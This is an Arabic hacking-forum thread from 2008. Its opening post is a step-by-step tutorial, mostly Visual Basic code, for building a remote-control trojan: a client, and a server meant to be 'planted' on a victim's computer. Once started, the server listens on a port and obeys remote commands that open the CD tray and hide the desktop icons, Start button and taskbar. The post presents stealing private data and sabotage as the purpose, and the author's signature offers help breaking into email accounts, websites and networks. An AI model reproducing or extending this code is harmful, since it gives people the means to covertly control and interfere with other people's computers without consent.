الحماية و اختبار الاختراق منتدى مخصص لتناول طرق اختراق اجهزة الكمبيوتر والسيرفرات وطرق استغلال الثغرات البرمجية ومعالجتها

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع

قديم 12-30-2008   #1
بغدادي جديد
 
mostafa.ALIRAQI mostafa.ALIRAQI غير متواجد حالياً

:: كيف تبرمج برنامج هكر تعال وشوف ::
--------------------



سوف نتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل....



حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله:

تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-
كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip

حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية

بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت

أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت

في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع

2-خطوات عمل برنامج بالفيجوال بيسك للتجسس .
برنامج العميل
كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل

الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال

الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين

الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .

برنامج الخادم

يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها

البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم

.....................
تصميم البرنامج العميل
أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient

ثانياً . . يتم إدراج TIMER

ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال

رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.Text srvrport.Text

خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم
كتابة شيفرة ( كود ) البرنامج العميل [Client]

يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع

1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text

2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD

3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال

0 " لا يوجد اتصال "

7 " تم الاتصال "

8 " قام الخادم بقطع الاتصال "

9 " خطأ في الاتصال "

تصميم البرنامج الخادم

أولاً . . إدراج أداة MS WINSOCK للمشروع

ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535

ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله
كتابة شيفرة ( كود ) البرنامج الخادم [Server]

يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع

1. تحديد منفذ الاتصال wskServer.LocalPort = 2000

2. إجراء عملية الاتصال wskServer.Listen

3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم

Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)

If wskServer.State <> sckClosed Then

wskServer.Close

wskServer.Accept requestID

End Sub


عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim command As String

wskServer.GetData command

End Sub
......................
.......................
الحين نصممه خطوه بخطوه:
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
هذا البرنامج يمثل برنامج العميل
بستخدام تقنية tcp/ip
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
الحين انشئ زر واسمه اتصال
اوكتب هذا الكود
Private Sub Command1_Click()
wskclient.Close
'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
' يجب كتابة رقم منفذ
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
' يجب التأكد من رقم المنفذ الصحيح
Text2.Text = ""
Exit Sub
End If
wskclient.Connect srvrip.Text, srvrport.Text
'هذا السطر يمثل عملية الإتصال بالخادم
'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم
'عند الضغط على زر "إتصال" يتم إجراء الإتصال
Command1.Enabled = False
'تعطيل زر "اتصال" عند اجراء الاتصال
End Sub

---------------------------------------------------------
---------------------------------------------------------
انشئ رز واسمه انهاء الاتصال
واكتب هذا الكود
Private Sub Command2_Click()
wskclient.Close
' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال
Command1.Enabled = True
'تمكين الزر "اتصال" عند قطع الاتصال
End Sub
................
انشئ زر واسمه فتح سواقه الليزر
واكتب هذا الكود
Private Sub Command3_Click()
On Error Resume Next
wskclient.SendData "openCD"
End Sub
---------------------------------------
---------------------------------------
انشئ زر واسمه اغلاق سواقه الليزر
واكتب هذا الكود
Private Sub Command4_Click()
On Error Resume Next
wskclient.SendData "closeCD"
End Sub
----------------------------------------
----------------------------------------
انشئ زر واسمه اخفاء
ايقونات سطح المكتب
واكتب هذا الكود
Private Sub Command5_Click()
On Error Resume Next
wskclient.SendData "hideDESKTOP"
End Sub
-------------------------------------
--------------------------------------
انشئ زر واسمه اضهار ايقونات سطح المكتب
واكتب هذا الكود
Private Sub Command6_Click()
On Error Resume Next
wskclient.SendData "showDESKTOP"
End Sub
--------------------------------------------
--------------------------------------------
انشئ زر واسمه اخفاء زر ابداء
واكتب هذا الكود
Private Sub Command8_Click()
On Error Resume Next
wskclient.SendData "hideSTART"
End Sub
--------------------------------------------
--------------------------------------------
انشئ زر واسمه اضهار زر ابداء
واكتب هذا الامر
Private Sub Command9_Click()
On Error Resume Next
wskclient.SendData "showSTART"
End Sub
------------------------------------------
-----------------------------------------
انشئ زر واسمه اخفاء شريط المهام
واكتب هذا الكود
Private Sub Command10_Click()
On Error Resume Next
wskclient.SendData "hideTASKBAR"
End Sub
-----------------------------------------------
-----------------------------------------------
انشئ زر واسمه اضهار شريط المهام
واكتب هذا الكود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub
----------------------------------------------

الحين انشئ fram وذللك من شريط الادوات من الفيجوال بيسك
واسمهه لوحة الاتصال وضح زر الاتصال وزر انهاء الاتصال
---------------------------------------------------------------------
الحين انشئ تايمر وضعه على لوحة الاتصال التي صنعناها من قائمة fram
اوكتب هذا الكود فيه
Private Sub Timer1_Timer()
If wskclient.State = 0 Then status.Caption = "لايوجد إتصال"
If wskclient.State = 6 Then status.Caption = "جاري الإتصال"
If wskclient.State = 7 Then status.Caption = "تم الإتصال مع الخادم"
If wskclient.State = 8 Then status.Caption = "قام الخادم بقطع الإتصال"
If wskclient.State = 9 Then status.Caption = "خطأ في الإتصال"
'توجد 9 مراحل لإجراء عملية الإتصال بين عميل وخادم
If wskclient.State <> sckConnected Then
status.Caption = "لايوجد إتصال"
End If
End Sub
-------------------------------
------------------------------
الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي
----------------------------------
----------------------------------
الحين انشئ label وذلك من شريط الادوات في الفيجوال بيسك وسمه
ip
-----------------------------
-----------------------------
الحين انشئ text box وضعها امام label الذي سميناه ip
------------------------------
-----------------------------
الحين انشئ label وسمه port
-------------------------------------
الحين انشئ text box وضعها امام label الي سميناه port
--------------------------------------
الحين انشئ label واتركه فارغا وضعه اسفل الفورم
------------------------------------------------------------------
------------------------------------------------------------------
------------------------------------------------------------------
الحين نكتب برنامج الخادم
انشئ فورم جديد واكتب هذا الكود فيه
Private Sub Form_Load()
'wskServer اسم اداة الوينسوكت في هذا البرنامج
wskServer.LocalPort = 2003
' تعيين منفذ للخادم
wskServer.Listen
' بدء تشغيل الخادم
TaskBarHwnd = FindWindow("Shell_traywnd", "")
' يقوم البرنامج بتحديد تعريف شريط المهام
End Sub
---------------------------------------
---------------------------------------
الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي واكتب هذا الكود فيهPrivate Sub
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Close
wskServer.Accept requestID
' قبول طلب الاتصال
End Sub

'==== هذا الإجراء يمثل عملية استقبال الاوامر من البرنامج العميل ====
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
'يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل
wskServer.GetData command
'يمثل هذا السطر استقبال المتغير للاوامر القادمة من العميل

Select Case command ' تحديد الأمر القادم من البرنامج العميل
Case "openCD" ' اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي
CDOpen
Case "closeCD"
CDClose ' اذا تم اختيار امر اغلاق سواقة الليزر يتم تنفيذ الاجراء التالي
Case "hideDESKTOP" ' اذا تم اختيار امر اخفاء ايقونات سطح المكتب يتم تنفيذ الاجراء التالي
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Case "showDESKTOP" ' اذا تم اختيار امر اظهار ايقونات سطح المكتب يتم تنفيذ الاجراء التالي
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Case "hideSTART" ' اذا تم اختيار امر اخفاء زر ابدأ يتم تنفيذ الاجراء التالي
HideStartButton
Case "showSTART" ' اذا تم اختيار امر اظهار زر ابدأ يتم تنفيذ الاجراء التالي
ShowStartButton
Case "hideTASKBAR" ' اذا تم اختيار امر اخفاء شريط المهام يتم تنفيذ الاجراء التالي
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Case "showTASKBAR" ' اذا تم اختيار امر اظهار شريط المهام يتم تنفيذ الاجراء التالي
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
End Select

End Sub

--------------------------
---------------------------
الحين انشئ label وسمه الي تبي تسميه واكتب الي تبي تكتب فيه انشالله تسميه بوكيمون
---------------------------------------------
----------------------------------------------
الحين انشئ موديل واكتب هذا الكود فيها

' API CALLS
'مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Public Const SW_HIDE = 0
Public Const SW_SHOW = 5

Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
'دالة اخفاء زر ابدأ
Sub HideStartButton()
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
ShowWindow Handle&, 0
End Sub
' دالة اظهار زر ابدأ
Sub ShowStartButton()
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
ShowWindow Handle&, 1
End Sub

'دالة اغلاق سواقة الليزر
Sub CDClose()
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
End Sub

'دالة فتح سواقة الليزر
Sub CDOpen()
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
End Sub
-----------------------------------
-----------------------------------
انتهينا

ملاحظة عالسريع : تذكر أن الهكر الحقيقي عليه أن يكون مبرمجاً في ذات الوقت
تحياتي مصطفى العراقي هكر بغداد

التوقيع: هكــــر بغــــداد




عندك سؤال يختص بالهكر اختراق اميل اختراق موقع اختراق حاسبة اختراق الشبكات الواير ليس اومثلن الغات الفجول بيسك وغيرها اتفضل ضيفني اتريد تتعرف علية لضيفني احسن
البريد الالكتروني
f0_p0@yahoo.com
  رد مع اقتباس


قديم 12-31-2008   #2
ViP
الصورة الرمزية AмŖooSH Altiқrity
 
AмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاكAмŖooSH Altiқrity بغدادي طاك AмŖooSH Altiқrity غير متواجد حالياً

مشكور يا وردهـ عاشت ايدك

التوقيع:
  رد مع اقتباس


قديم 12-31-2008   #3
ViP
الصورة الرمزية كـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ
 
كـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاككـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ بغدادي طاك كـَِـَِـَِآإآرٍرٍهَِ آإلـدًدٍنـًـًيـٍـٍآ غير متواجد حالياً

عــاااشو حبي علىأ هذا بداع جميل استمر هيج :bomb:

التوقيع:

  رد مع اقتباس


قديم 01-01-2009   #4
" بغدادي برونزي "
 
safe14 safe14 غير متواجد حالياً

ماشاء الله الهكر راح يستفيدو منها

  رد مع اقتباس


قديم 01-01-2009   #5
" بغدادي مايتحاجه "
الصورة الرمزية *:!3YoUsH!:*
 
*:!3YoUsH!:* *:!3YoUsH!:* غير متواجد حالياً

يسلمووو عاشت الايادى تحياتى....

التوقيع:








  رد مع اقتباس


قديم 01-02-2009   #6
كبار الشخصيات
الصورة الرمزية مصطفى ابن تكريت
 
مصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاكمصطفى ابن تكريت بغدادي طاك مصطفى ابن تكريت غير متواجد حالياً


التوقيع:
مـآشـي بـس وكـفـنـي حبـك بـطـريـق شـجـآبـك انـت ..~
ما كـسـرت بـيـوم كـلـبـك وآنـت كـلـبـي شـكـد كـسـرتـه ..~
  رد مع اقتباس

إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
تبرمج, برنامج, تعال, وشوف


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة



الساعة الآن 01:20 PM


اغاني عراقية

Powered by vBulletin

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193